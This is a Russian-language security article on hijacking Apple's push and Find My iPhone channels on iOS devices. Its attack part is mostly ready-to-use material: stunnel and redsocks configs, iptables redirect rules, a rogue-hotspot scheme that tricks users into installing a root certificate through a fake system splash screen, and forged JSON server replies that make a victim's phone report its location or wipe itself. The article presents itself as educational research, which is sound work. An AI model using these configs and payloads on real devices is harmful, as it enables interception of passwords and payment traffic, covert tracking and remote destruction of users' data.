Table of Contents
Мало кто из владельцев iPhone или iPad задумывается о том, что их любимый девайс постоянно держит связь с серверами Apple. Это необходимо, чтобы реализовать некоторые интересные фичи, например возможность удаленно удалить все данные с безвозвратно потерянного девайса. Но вот вопрос: так ли защищен этот механизм и не может ли заюзать его кто-то другой для доступа к твоему смартфону?
Введение
Итак, речь пойдет о мобильных устройствах iPhone/iPad. Не секрет, что в яблочных устройствах есть механизм, негласно отстукивающий в Apple о своих владельцах. При этом «продается» он как уникальная возможность удаленно управлять своими устройствами — например, для определения его расположения на случай, если телефон был потерян или украден. Но то ли из-за лени, то ли из-за угрозы черных вертолетов интернет не богат исчерпывающими описаниями этих механизмов. Интерес к тому, что уходит в Apple, подогревается тем, что связь с серверами Apple наглухо зашифрована, причем контроль подлинности обеспечивается не только сервера, но и местами клиента. Да-да, для каждого устройства заводится свой удостоверенный Apple’ом сертификат! И на первый взгляд даже кажется, что защита этого механизма более чем надежна. Однако я все-таки решил провести небольшое исследование и разобраться в простом вопросе, может ли злоумышленник обойти криптографическую защиту и перехватить контроль над чужим устройством. Забегая вперед, скажу одно: может!
WARNING!
Обрати внимание, что материал представлен исключительно в образовательных целях, чтобы показать изъяны в технологиях, которые на первый взгляд кажутся защищенными. Не повторяй на практике! Это может нанести вред твоему или чужому устройству. Редакция и автор ответственности не несут.
Что такое Push?
Для начала давай разберемся, о какой это технологии для удаленного управления сразу всеми устройствами на базе iOS идет речь. Называется она Apple’s Push Notification Service (APNs), но дальше я часто буду называть ее просто Push. Технически это завернутый в SSL легкий (максимальный размер payload — 256 байт) бинарный протокол, предназначенный для передачи сигналов на устройство серверов Apple в режиме реального времени. Любое устройство на iOS в момент первого запуска выполняет процедуру активации — это необходимо, чтобы только что вытащенный из коробки свежий iPhone или iPad начал полноценно работать. В процессе активации происходит генерация пары ключей, публичная часть которой удостоверяется корневым сертификатом (CA) Apple и сохраняется на устройстве (кстати, это одна из причин, почему для активации нужен интернет). Далее iOS каждый раз, когда обнаруживает, что сервер Apple доступен, пытается установить SSL-соединение на 5223-м порту. При этом происходит двухсторонняя аутентификация: iOS аутентифицирует сервер, используя имеющиеся у нее CA, а сервер аутентифицирует клиента по сертификату, полученному при активации устройства.
Схема аутентификации APNS и iOS-устройства
В публичной документации Apple подробно описано, как разработчики могут использовать APNs для связи со своими приложениями. Но, что странно, нет никаких описаний взаимодействия между APNs и iOS. Расскажем об этом подробнее. После успешной установки SSL-соединения клиент отправляет серверу описание устройства в бинарном виде, по которому сервер проверяет, соответствует ли сертификат тому устройству, которое его пытается использовать. Если сертификат одного устройства применить на другом девайсе, то соединение моментально разорвется. Если проверка проходит успешно, то iOS получает от Apple своего рода ACK-сообщение (0d 00 00 00 00 — его хорошо видно на скриншоте) и… начинает ждать команды.
Получив это ACK-сообщение (0d 00 00 00 00), iOS начинает ждать команды
Что можно посылать через APNs? Например, стандартные извещения для мобильных приложений, хорошо знакомые любому пользователю iOS. Или коротенькое текстовое сообщение, которое выведется на экран устройства. А можно передать следующее особенное сообщение:
{"serverContext":{"tapSendTS":"2012-05-08T18:55:36.668Z","tapSendContext":"fmip"}}
Получив его, устройство, никак не уведомляя пользователя, начинает общение с одним из механизмов Apple iCloud — Find my iPhone (отсюда и сокращение fmip, использующееся в сообщении). Это, напомню, сервис для определения текущего месторасположения телефона.
Ты спросишь: «Как удалось вклиниться в защищенный канал при условии двухсторонней аутентификации и подсмотреть эти нюансы?» Используемый подход, в общем-то, известен. Для того чтобы провести MITM-атаку, на шлюзе размещается удостоверенный Apple’ом сертификат и ключ устройства, а на устройстве — самозваный CA, которым впоследствии будет удостоверен фальшивый сертификат с атакующего шлюза. Когда есть доступ к iPhone’у, провернуть это не бог весть какая задача:
- Сначала делается джейлбрейк устройства.
- Далее осуществляется вход по SSH под root’ом.
- На устройстве устанавливается самозваный CA.
- В директории private/var/Keychains запускается предварительно скачанная утилита nimble.
- Полученные в результате ее работы файлы — push-bin.crt и push-bin.key — перетаскиваются на атакующий шлюз (с предварительной конвертацией их из DER в PEM).
- На шлюзе поднимается утилита stunnel со следующим конфигом:
[apple_mitm_push_s] accept = 0.0.0.0:5222 connect = 127.0.0.1:9500 cert = /home/attacker/CA/courier.push.apple.com.pem #фальшивый сертификат push-сервера, подписанный установленным на устройство CA key = /home/attacker/CA/courier.push.apple.com.key [apple_mitm_c] cert = /home/attacker/CA/push-cert.pem key = /home/attacker/CA/push-key.pem #данные с устройства, которыми мы представляемся Apple client = yes accept = 0.0.0.0:9500 connect = 17.149.36.129:5223 #один из push серверов Apple
Теперь, используя port-forwarding на шлюзе (через iptables или другой файрвол), заворачиваем весь трафик к 5223-му порту на локальный порт 5222. Если все было проделано верно, то на локальном интерфейсе шлюза становится возможным посмотреть протокол Push в открытом виде. Пункт 3 представляет особый интерес и будет рассмотрен отдельно, а пока немного теории.
Данные, передаваемые по SSL, отображаются в открытом виде!
Перехваченные пароль и логин для доступа к App Store
Как работает аутентификация в iOS?
Операционная система iOS, которая используется в iPhone/iPad, была любимым ребенком с хорошей наследственностью (потомок UNIX). Однако порыв сделать систему доступной для сторонних разработчиков и одновременно с этим желание держать их на коротком поводке привели к тому, что даже для такой интимной задачи, как аутентификация, любые приложения используют заранее оговоренный механизм, встроенный в саму ОС, — демон Security Server (securityd). Он же является менеджером паролей, ключей и сертификатов. Сертификаты, пароли, используемые в родных приложениях Apple (например, почты и браузера), сохраняются в базе SQLite с именем keychain-2.db, которая легко находится в джейлбрейкнутых устройствах. А описание формата закодированных данных и исходники securityd-демона можно найти в открытом доступе на сайтах Apple. Для нас интересны две особенности демона securityd:
- В бинарник демона из коробки зашиты CA сертификаты Apple, которые аутентифицирует сервер при полностью зачищенном или удаленном хранилище keychain-2.db. Причем кроме корневых сертификатов Apple здесь можно найти правительственные сертификаты Японии, США и некоторых других стран. В свете этого обстоятельства использование iOS высшими чиновниками становится особенно пикантно.
- Контроль подлинности сертификата сервера происходит через последовательную проверку каждым установленным корневым сертификатом (CA). Причем нет никакого приоритета среди установленных CA, так что сервер будет аутентифицирован успешно, если его сертификат может быть удостоверен хотя бы одним CA из хранилища. Это имеет ключевое значение для всего, что будет рассказано далее.
Соответственно, для того, чтобы раскрыть любой SSL-трафик, передаваемый устройством с iOS на борту, нужно решить две задачи: управления трафиком и доставки на устройство своего корневого сертификата. Ниже описан способ, как решить их обе.
WWW
- Описание securityd от Apple: bit.ly/K1bAGs;
- Описание BLOBFORMAT: bit.ly/K1bJtI;
- Гид по системе Push Notification: bit.ly/iCdRmd;
- Описание Notification Payload: bit.ly/eVWx7j.
Внедрение CA в iOS
Есть три широко известных способа установки корневого сертификата в хранилище iOS:
- через браузер;
- через нативный почтовый клиент;
- через механизм MDM (Mobile Device Management).
Так как для успешного перехвата данных как минимум требуется доступный и простой контроль над трафиком цели, то MDM и почта отпадают — остается первый вариант. Сценарий, который с высокой долей вероятности может привести злоумышленника к цели, использует:
- Особенности интерфейса управления настройками.
- Маскировку под системный интерфейс.
- Непонимание ~99% пользователей iOS основ технологии аутентификации с помощью открытых ключей.
Животная жажда интернетов! 🙂
Идея вот в чем — поднять свой хотспот с «бесплатным интернетом». Злоумышленник, визуально маскируя iPhone Splashscreen (то окошечко, которое «выезжает снизу» с предложением залогиниться на hotspot) под системный интерфейс, может предложить пользователю «Принять профиль для выхода в интернет» и выполнить необходимые манипуляции — юзер, сам того не понимая, таким образом установит корневой сертификат. При этом для большего успеха злоумышленник может эффектно прикрываться каким-нибудь раскрученным брендом.
Имея такой инструмент, не слишком сложно, находясь в Wi-Fi-радиусе устройства, подсадить пользователя на нужный хотспот (отключив его, например, через старую утилиту aireplay-ng от всех остальных точек) и подождать, когда несчастный захочет воспользоваться Сетью. Конкретно от пользователя требуется три действия:
- Подтвердить подключение к хотспоту.
- Нажать «Принять» в открывшемся splashscreen’е.
- Дважды нажать «Установить» в открывшемся меню настроек.
Вот и все. Самое сложное тут — грамотно настроить хотспот. После того как пользователь установит сертификат, hotspot «пускает» его в интернет, а все SSL-сессии фактически становятся скомпрометированы. Здесь стоит вспомнить, что все приложения на iPhone/iPad работают через демон securityd, а значит, нападающий получает доступ сразу ко всему трафику, начиная с почты и заканчивая PayPal и App Store…
Как сделать MITM удобным?
Идея подобной MITM-атаки не сильно моложе асимметричной криптографии и может быть реализована, к примеру, так:
- Создается самозваный CA c помощью OpenSSL.
- Далее поднимается хотспот (я использовал ChilliSpot, www.chillispot.info). Маскировка splashscreen под интерфейс iPhone упрощается за счет какой-нибудь готовой библиотеки стилей, например iWebkit.
- Далее весь интересный SSL-трафик необходимо направить на специальный прокси-сервер. С этим идеально справляется установленная на шлюзе утилита redsocks (darkk.net.ru/redsocks) с вот таким конфигом:
base{log_debug = on; log_info = on; log = "file:/tmp/reddi.log"; daemon = on; redirector = iptables;} redsocks { local_ip = 0.0.0.0; local_port = 31337; ip = 127.0.0.1; port = 31338; type = http-connect; }
и правилами iptables:
iptables -t nat -N REDSOCKS iptables -t nat -A REDSOCKS -d 0.0.0.0/8 -j RETURN iptables -t nat -A REDSOCKS -d 10.0.0.0/8 -j RETURN iptables -t nat -A REDSOCKS -d 127.0.0.0/8 -j RETURN iptables -t nat -A REDSOCKS -d 169.254.0.0/16 -j RETURN iptables -t nat -A REDSOCKS -d 172.16.0.0/12 -j RETURN iptables -t nat -A REDSOCKS -d 192.168.0.0/16 -j RETURN iptables -t nat -A REDSOCKS -d 224.0.0.0/4 -j RETURN iptables -t nat -A REDSOCKS -d 240.0.0.0/4 -j RETURN iptables -t nat -A REDSOCKS -p tcp --destination-port 443 -j REDIRECT --to-ports 31337 iptables -t nat -A REDSOCKS -p tcp --destination-port 80 -j REDIRECT --to-ports 31339
Из этих правил следует, что в сети нашего хотспота ни один пакет не попадет в интернет. А вот пакеты на заданные порты (443 и 80) лягут на локальные порты шлюза, где их уже будут ждать проксирующие серверы (для открытого HTTP подойдет Burp Proxy). HTTPS в нашем случае ложится в Redsocks (пользуясь случаем, еще раз благодарю коллегу darkk за столь простое и полезное изобретение).
- Redsocks затем передает трафик в Charles Proxy (www.charlesproxy.com), который уже слушает на 31338-м порту. «Чарльз» хорош тем, что на лету генерирует и подписывает сертификаты для всех хостов, к которым клиент пытается обращаться. Для этого он использует загруженную в него приватную половину сгенерированного корневого сертификата.
С этого момента злоумышленник может проводить MITM-атаки на любые серверы, где не выполняется контроль подлинности клиента.
Сидеть! Лежать! Умри!
Теперь, когда в распоряжении есть инструмент для обхода серверной аутентификации, самое время вспомнить об уведомлениях через Push. Так как в технологии используется двухсторонняя аутентификация, то полноценно проксировать данные, не залезая в iPhone за ключами, не получится. Однако стать APNs-сервером, который пройдет аутентификацию на устройстве, уже ничто не мешает. Как только к фальшивому Push-серверу подключится iOS ничего не подозревающего пользователя, злоумышленник может сразу отправить ему сообщение, о котором я уже говорил выше:
{"serverContext":{"tapSendTS":"2012-05-08T18:55:36.668Z","tapSendContext":"fmip"}}
Дата здесь не принципиальна, а ключевое слово fmip отдает команду на запуск сеанса связи с Find My iPhone. Получив сообщение, iOS втихую обращается в iCloud, используя HTTPS (причем используется довольно занятная мутация HTTP с впечатляющим количеством заголовков и специфичными кодами). Первым с устройства приходит POST-запрос (исходный «однострочник» приведен к читаемому виду) со следующим телом (здесь и дальше приведена только самая информативная часть):
{
"deviceInfo": {
"buildVersion": "9B176",
"aps-token": "285cdaаffeb5f8767233ebdfe3a2df07797ae864e586ce902c321f222f84d333",
"passcodeConstraintStr": "Enter a four-digit passcode.",
"deviceColor": "black",
"productVersion": "5.1",
"batteryLevel": 0.1292443,
"deviceName": "iPhone test",
"locationServicesEnabled": true,
"findMyiPhone": true,
"productType": "iPhone2,1",
"udid": "7beafa302d46b670f0657c00af720c347f5f1eb8",
"passcodeConstraint": "simple",
"deviceClass": "iPhone",
"batteryStatus": "Charging",
"passcodeIsSet": true
},
"serverContext": {
"tapSendContext": "fmip",
"tapSendTS": "2012-05-08T21:05:37.132Z"
},
"deviceContext": {
"deviceTS": "2012-05-08T21:05:38.210Z"
}
}
Из него уже можно почерпнуть много интересной информации. Цель этого запроса — узнать команды, которые были адресованы устройству через систему удаленного управления. И тут мы подходим к самому интересному: а что можно послать? Базовый набор обнаруживает себя, если посылать запросы устройству через iCloud. Например, если притвориться сервером, то можно послать команду, которую использует iCloud для определения координат устройства:
{
"endThreshold": 10,
"ackURL": "https://p02-fmip.icloud.com:443/fmipservice/findme/403955807/7be6fa307846b670f0346c00af720c347f5f1eb8/ackLocate",
"decayFactor": 0.7,
"desiredAccuracy": 40,
"startThreshold": 2000,
"locationValidityDuration": 120,
"id": "6df3ff6f-f365-499e-b921-93641206bffa",
"enqueueTimestamp": 1336505766732,
"cmd": "locate",
"includeTrackingInfo": false,
"overridenCommandDomain": null,
"locationTimeout": 120,
"findMyiPhone": true,
"responseTimeStamp": 1336505766732
}
Через некоторое время (если оно нужно для установки координат) устройство отдаст весьма подробный ответ:
{
"locationFinished": false,
"deviceContext": {
"cmdId": "6df56f6f-f445-499e-b921-93641006bffa",
"deviceTS": "2012-05-08T19:36:11.391Z"
},
"deviceInfo": {
"udid": "77be6fa307846b670f0346c00af720c347f5f1eb8"
},
"alt": 141.3043212890625,
"positionType": "Wifi",
"vertAcc": 10,
"longitude": 37.5862605508342,
"latitude": 55.72784808181711,
"statusCode": 200,
"timestamp": "2012-05-08T19:36:09.195Z",
"horizontalAccuracy": 71.1873037658878
}
Но какой толк в GPS-координатах, когда жертва и так висит на специально поднятом хотспоте? 🙂 Гораздо аппетитней другая базовая команда — wipe, которая уничтожает все данные и откатывает устройство к заводским настройкам. Все, что нужно злоумышленнику для проведения такого нападения, — ответить устройству:
{
"message": "",
"id": "06c0a5f9-5126-4428-b875-59acbb956714",
"enqueueTimestamp": 1336510929036,
"cmd": "wipe",
"pin": "",
"overridenCommandDomain": null,
"ackURL": "https://p02-fmip.icloud.com:443/fmipservice/findme/408888807/0346c a302d46b670f0346c00af720c347f5f1eb8/ack",
"responseTimeStamp": 1336510929032,
"verifyURL": "https://p02-fmip.icloud.com:443/fmipservice/findme/408888807/0346c 7802d46b670f0346c00af720c347f5f1eb8/wipeVerify"
}
Здесь нужно понимать, что параметры «408888807/0346c 7802d46b670f0346c00af720c347f5f1eb8/» в URL индивидуальны для каждого устройства (однако они извлекаются из тех адресов, к которым обращается устройство). Поле id — уникальный идентификатор сообщения: если он будет использоваться для какого-то сообщения повторно, то оно не будет обработано. Итак, после получения такого ответа устройство подтвердит получение, отправив на verifyURL сообщение:
{
"id": "06c0a5f9-5126-4428-b875-59acbb956714",
"ackURL": "https:\/\/p02-fmip.icloud.com:443\/fmipservice\/findme\/408888807\/0346c 7802d46b670f0346c00af720c347f5f1eb8\/ack",
"deviceContext": {
"deviceTS": "2012-05-08T21:05:39.604Z"
},
"enqueueTimestamp": 1336510929036,
"responseTimeStamp": 1336510929032,
"deviceInfo": {
"buildVersion": "9B176",
"aps-token": "285cda0ffeb5ff767233ebdfe3a4df07797ae864e586ce902c321f222f84d333",
"passcodeConstraintStr": "Enter a four-digit passcode.",
"deviceColor": "black",
"productVersion": "5.1",
"batteryLevel": 0.1292443,
"deviceName": "iPhone",
"locationServicesEnabled": true,
"findMyiPhone": true,
"productType": "iPhone2,1",
"udid": "7beafa302d46bffff0346c00af720c347f5f1eb8",
"passcodeConstraint": "simple",
"deviceClass": "iPhone",
"batteryStatus": "Charging",
"passcodeIsSet": true
},
"overridenCommandDomain": null,
"message": "",
"statusMessage": "OK",
"verifyURL": "https:\/\/p02-fmip.icloud.com:443\/fmipservice\/findme\/408888807\/0346c 7802d46b670f0346c00af720c347f5f1eb8\/wipeVerify",
"cmd": "wipe",
"pin": "",
"cmdContext": {
"ackURL": "https:\/\/p02-fmip.icloud.com:443\/fmipservice\/findme\/408888807\/0346c 7802d46b670f0346c00af720c347f5f1eb8\/ack",
"message": "",
"id": "06c0a5f9-5126-4428-b875-59acbb956714",
"verifyURL": "https:\/\/p02-fmip.icloud.com:443\/fmipservice\/findme\/408888807\/0346c 7802d46b670f0346c00af720c347f5f1eb8\/wipeVerify",
"enqueueTimestamp": 1336510929036,
"cmd": "wipe",
"responseTimeStamp": 1336510929032,
"pin": "",
"overridenCommandDomain": null
},
"statusCode": 200
}
Итог. Или только начало?
Этот материал лишь немного проливает свет на внутреннюю кухню Apple, про которую в публичном доступе нет никакой документации. Чтобы расширить и закрепить успех, необходимо продолжать исследования в нескольких направлениях:
- Поиск возможностей доступа к данным через интерфейс удаленного управления. Есть все основания предполагать, что одними командами wipe и locate дело не ограничивается.
- Поиск способов создания элементов присутствия на скомпрометированных устройствах (загрузка поддельных обновлений как один из вариантов).
- Оптимизация процедуры доставки сертификата.
Кроме этого, в статье обозначен новый социальный вектор нападения на мобильные устройства — внедрение самозваного корневого сертификата, который неплохо бы изучить на всех популярных платформах. И в 1001-й раз было доказано: даже хорошая криптография в руках того, кто не знает, что это, подчас теряет всякий смысл. А Apple’у, несмотря на колоссальную и, в общем, хорошо проделанную работу над безопасностью, остается порекомендовать пересмотреть политику равноправия всех корневых сертификатов и как-то научиться доносить до своей аудитории, что не все корневые сертификаты одинаково полезны. Только вот реально ли это?
INFO
При отдельном запросе я могу поделиться небольшим сервером, который проделывает все описанное. Но так как он только для лабораторных исследований, то все значения, которые могут меняться от устройства к устройству, типа udid и переменных в URL, в нем захардкожены под мой лабораторный девайс.
Ликующим пользователям Android хочется сказать, что у Google также есть аналогичная APNs технология, позволяющая, к примеру, установить или удалить приложение сразу на всех устройствах. Речь идет о C2DM (Cloud to Device Messaging Framework), и мы подробно рассматривали его в статье «Android-марионетки» (bit.ly/nsvWcb).